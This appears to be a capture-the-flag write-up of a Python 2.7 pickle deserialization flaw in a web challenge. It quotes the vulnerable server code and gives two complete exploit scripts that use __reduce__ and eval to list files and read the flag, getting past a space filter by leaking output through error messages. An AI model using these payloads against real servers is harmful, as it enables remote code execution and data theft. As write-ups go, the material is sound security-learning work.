When we enter the site, we see the webpage hinting at using other methods. Using POST gives us an interesting error, from which we understand what the server does:

```
picklestr = base64.urlsafe_b64decode(request.data)
if " " in picklestr:
    return "The ' ' is blacklisted!"
postObj = cPickle.loads(picklestr)
```

This means there is a pickle vulnerability. From here the challenge becomes kinda complex.

1. We need to use **protocol=2** for pickling since the server uses python 2.7

2. Spaces are blacklisted, so we need to find a way to print the content of our command. I was kinda stumped for a while, but at some point I figured I just needed to trigger an error where I can see the contents of what caused the error. Then the contents that cause the error needs to be data I want to see:

```
import requests
import pickle
import base64
class CommandExecutor:
    def __reduce__(self):
        return (eval, ('eval("$".join(__import__("os").listdir(".")))',))
malicious_pickle = pickle.dumps(CommandExecutor(), protocol=2)
encoded_data = base64.urlsafe_b64encode(malicious_pickle)
url = "http://34.141.113.155:30919/"
data = encoded_data
response = requests.post(url, data=data)
print(response.text)
```

The idea is that the server is going to execute eval(file1$file2$file3…) which is going to cause an error, make the result of the listdir command visible. This fortunately works, as in the error data we have: **.bashrc$.profile$.bash_logout$app.py$flag**

Now we just need to change our code to print the flag:

```
import requests
import pickle
import base64
class CommandExecutor:
    def __reduce__(self):
        return (eval, ("eval(open('flag','r').read())",))
malicious_pickle = pickle.dumps(CommandExecutor(), protocol=2)
encoded_data = base64.urlsafe_b64encode(malicious_pickle)
url = "http://34.141.113.155:30919/"
data = encoded_data
response = requests.post(url, data=data)
print(response.text)
```

Made with love by: AndreiCat